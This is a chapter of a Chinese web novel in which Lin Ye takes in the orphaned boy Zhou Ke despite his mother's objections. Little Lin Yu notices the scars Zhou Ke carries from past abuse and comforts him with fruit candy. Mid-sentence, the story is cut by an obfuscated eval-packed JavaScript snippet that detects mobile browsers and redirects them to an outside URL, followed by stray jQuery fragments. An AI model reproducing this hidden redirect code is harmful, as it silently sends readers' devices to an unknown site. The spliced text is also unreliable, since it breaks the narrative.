林也当初买的房子只是个小三室,最大的那个卧室给老太太住,他自己则住着最小的房间。
得知林也将周恪带回来了后,老太太一把将他拽进里屋,压着嗓子问他脑子是不是叫驴踢了,身边带着一个林瑜,本来就没有姑娘家看上他,现在又来一个,是不是要气死她。
林也却不以为然,他本就没有结婚的念头,只淡淡的说:“怎么说这孩子也是我姐领回家的,现在这种情况,我们再不管他,难道你要人家上街去讨饭啊。”
蒋惠芳斜眼看他,冷哼一声,态度强硬的表态:“总之我不同意。”
林也:“不同意也晚了,我总不能把人领到家里,又把他赶出去吧,一个孩子而已,无非就是多一双筷子,我又不是养不起,再说了,当初我姐夫妻俩收养他,不还是你找人出的主意吗,怎么,现在人死了,你就想过河拆桥不管不问,小心我姐晚上来梦里找你。”
“你—”蒋惠芳被这番话呛得毫无还口之力,都说知女莫若父,换而言之,也是一样的道理,林也性子执拗,认准了的事情谁也撬不动他,蒋惠芳没法子,忿忿地瞪了他一眼,无奈的说:“你现在有了挣钱的本事,主意也大了,反正我说什么你也不听。”
就这样,周恪顺利的留在了林家。
家里多了个人,晚上如何歇息就成了问题,老太太睡的房间最大,但林也不打那间卧室的主意,他自个睡的房间小的只能放下一张床,一张书桌,实在没法再多加一个人。
唯一能够睡的也就是林瑜房间了。
夜深了,林也从外面抱来一床被子,铺在林瑜床上,一边收拾一边和两个小孩说:“这几天先这样凑合着吧,等我过几天有空了,就去家具市场买个双人床回来,到时候你俩一人一张床。”
白日里蒋惠芳说的话虽然没被周恪听见,但晚上在餐桌上,她一举一动都是对周恪的不喜,林也一时半会也改变不了她的态度,不过怕孩子心存芥蒂,林也看了一眼乖乖坐在床上的周恪,静默了一会,随后将人带出房间。
两人一大一小站在阳台上,林也蹲下身,摸了摸周恪的脑袋,小声的安慰他:“外婆说什么你别往心里去,以后就把这儿当成自己的家,只要有我在,没人能叫你走。不过进了我家门,就要守家里的规矩,别惹事也别犯浑,妹妹还小,不能欺负她,家里就我们四个人,妹妹最大,知道吗?”
月光透过树影在屋子里洒下细碎的阴影,两人静静对立着,周恪垂着眼皮,指尖无措地揪着衣下摆,对上林也慈爱的眼神和安抚的语气,周恪重重地点了点头。
这是他住进林也家,他交代给他的第一句话,也在他此后的人生留下无法磨灭的重量。
月明星稀,流水般的月色顺着透明的玻璃窗静静地淌进狭小的卧室,微风一吹,窗外那颗高大的老槐树摇摇晃晃地晃动得枝叶,发出细微的簌簌声。
周恪回到房间,推开门,就看见林瑜四仰八叉地趴在床头,借着那盏小夜灯一页一页地翻动手里的故事本,听见开门的声音,她猛地回过头,迎上周恪漆黑的眼瞳,她顷长的睫毛扑棱棱地眨了眨圆溜溜的眼睛清澈透亮,看见人便喊:“哥哥。”
周恪轻嗯了一声,抬步走到她跟前,看见她手里捧着的故事本,顺嘴问了一句:“你喜欢看这个?”
闻言,林瑜瘪了瘪嘴,失望地摇摇头。
看清妹妹眼里的不开心,周恪追问:“怎么了?”
林瑜仰起下巴,心情低沉的告诉周恪:“舅舅每天都会给我讲小故事的,但是今天,他忘了。”
周恪微怔,没想到林瑜难过的是这个,他猜想或许是林也一时忙忘了,他垂眼看着林瑜不说话的样子,沉默了会,忽地开口:“我给你讲怎么样。”
话音一落,林瑜眼睛倏地一亮:“真的吗?”
“嗯。”周恪抿唇,冲林瑜笑了笑,随后冲她伸出手,“那把故事本给哥哥吧。”
闻言,林瑜正要将手里的东西递给周恪,她低了低头,却猛地发现周恪手臂上露出的红色伤疤,圆溜的眼睛瞬间放大了起来,她震惊的抬起头,声音也失了先前的软乎,担忧道:“哥哥,你怎么受伤了!”
听见这话,周恪的目光落在手臂上那条斑驳的红痕,他冷不丁的收回了手,下意识不想让林瑜再看,那是江国华在世时,喝醉了酒,拿衣架重重打在他身上的伤疤,除了手臂,后背上还有好几条。
江国华虽然不在了,但这些伤疤还深深地烙印在皮肤上,看起来扭曲又丑陋。
周恪怕这些伤会吓着林瑜,只能将手臂背在身后,眼神躲闪着回应:“没有。”
林瑜不信,她将故事本仍到一旁,歪着头,不解道:“可是我都看见了呀,红红的,好长一条呢。”
周恪僵住,忽然不知道要怎么跟她解释才好,他不想骗她的,是那些伤疤实在太过丑陋,手臂掩藏在黑暗处,慢慢蜷缩成拳头,他抬起漆黑的眼睛看向妹妹,宽慰的告诉她:“都已经好了,所以,没关系的。”
林瑜一听,原本展平的双眉忽地拧在了一起,“那哥哥——你是不是很疼呀?”
对上妹妹那双好奇又怜惜的眼眸,周恪心尖涌上一股热流,他轻笑了声,漆黑的瞳孔泛起一层淡淡的光晕:“不疼。”
但林瑜显然不信,她低着眼睛,静静地盯着哥哥手臂上的伤,一条狰狞的血色红痕,长到几乎遍布了整条手臂,看起来极为可怖,林瑜抿了抿唇,眼角眉梢忽然流露出伤心的神情,她抬眼看向周恪,义正言辞的说:“哥哥骗人。”
空气陡然安静下来,周恪忽然有些慌乱,一时不知要怎么给她解释,他其实...真的已经不疼了。
“我...”
话还没说完,就被林瑜打断,她仰起脸,露出一双澄澈干净的眼瞳,在夜色下亮晶晶的,冒出莹润的亮光,嗓音软糯像黏糊的糖果:“哥哥,你等我一会哦,我有东西要给你。”
说完,周恪就看见她忽地从床上爬了起来,而后顺着床脚的小梯子慢悠悠地爬了下去,连鞋子都没来得及穿,呼哧呼哧地跑到窗前的那张书桌,紧接着手脚并用地爬上了那张椅子,最后从抽屉里拿出一个彩色的小圆盒子,拿到手后,又顺着原路回到小床上。
周恪看着她手里的东西,缓慢地抬起眼睫,问:“这是什么?”
“糖呀。”林瑜举起手里的铁盒子晃了晃,里面顿时传来乒乒乓乓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316819|183041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音,盒子打开,里面是各种颜色的水果糖,林瑜将盒子举到周恪跟前,笑眯眯的告诉他:“上次我被唐伯伯家的狗吓得摔了一跤,流了好多血,舅舅就给了我一盒糖,说吃了就不疼了,我把这些糖都给你,你肯定就不疼了。”
周恪显然没想到林瑜会这么说,一瞬间,心脏像是被什么东西撞击过。
“我不用,你留着自己吃。”
“要的,要的。”林瑜固执地将糖递到周恪跟前,一本正经地说:“你的伤口比我的大,所以哥哥肯定比我疼,你要多吃点糖才行。”
话音一落,周恪呼吸凝滞,他垂眸看向妹妹眼底泛起的因他而产生的关切,已经很久没有人会在意他疼或不疼了。
在林瑜的注视下,周恪缓缓扬起胳膊,在她期待的眼神下,挑了颗橘子味的水果糖松进嘴里。
见状,林瑜终于心满意足地笑了出来,她撑着身子忽地凑过去,距离近到鼻尖就快撞上周恪的脸颊,她洗过澡,身上还留有淡淡的沐浴露留下的牛奶味,靠过来的瞬间,周恪的呼吸也被这香味慢慢侵占。
林瑜眨动着细密的眼睫,一双杏眼弯成了月牙状,歪着头细声问:“是不是很甜呀。”
周恪低下头,心不在焉的回了个嗯。
折腾完这一番,林瑜也不再执着于讲什么故事了,睡意袭来,她打了个哈欠,眼角沁出些许泪光。
周恪见她困成这个样子,嗓音轻柔的哄她:“时候不早了,快睡吧,明天再给你讲故事好不好。”
“好。”林瑜掀开被子,一骨碌钻进被窝,清甜的声音在狭小的卧室响起,“哥哥,晚安!”
橘子味的果糖在嘴里渐渐融化,丝丝入扣的甜意顺着口腔一路蔓延到心尖,周恪弯了弯唇,对着她的侧脸小声道:“晚安。”
小孩睡意来快,没一会就睡着了,周恪平躺在床上,看着这间被月色充盈着的屋子,忽然感觉到一股前所未有的安定,就好像漂泊的船终于有了一个栖身地,再也不用四处奔波流浪。
身侧渐渐传来匀长的呼吸声,周恪侧眸,借着月色认真地注视着妹妹恬静的睡眼。
她反趴在柔软的床垫上,顺直的长发散在肩后,嘴唇微微嘟起,因为年纪小,圆乎乎的脸上还带着一些稚气的婴儿肥,手臂软软的,像是没有骨头一样,夏天蚊虫多,她白皙的手腕上还有个被蚊子咬出的小红点,看起来尤为突兀。
林瑜刚出生时,所有人都忙着林湘云的葬礼,江国华更是连抱也没抱过这个女儿。
直到她被林也带走前,江家人一直没给她取名字,所以在林瑜刚出生的那一阵,周恪只能妹妹、妹妹地喊她。
直到昨天他听见林也叫她林瑜,他才知晓,原本她随了妈妈的姓,双木林,只是不知道是那个yu。
周恪注视着她恬静的睡姿,默默启齿:“小yu妹妹。”
三年过去,他第一次有这样机会可以看着她,他似乎还未从妹妹居然长这么大的意识里走出来,记忆力,她还是那个只能抱在怀里的小婴儿,时间一晃而过,她已经快长到他大腿那么高了。
借着满室月光,他缓缓露出一个笑容。
他终于又有家了。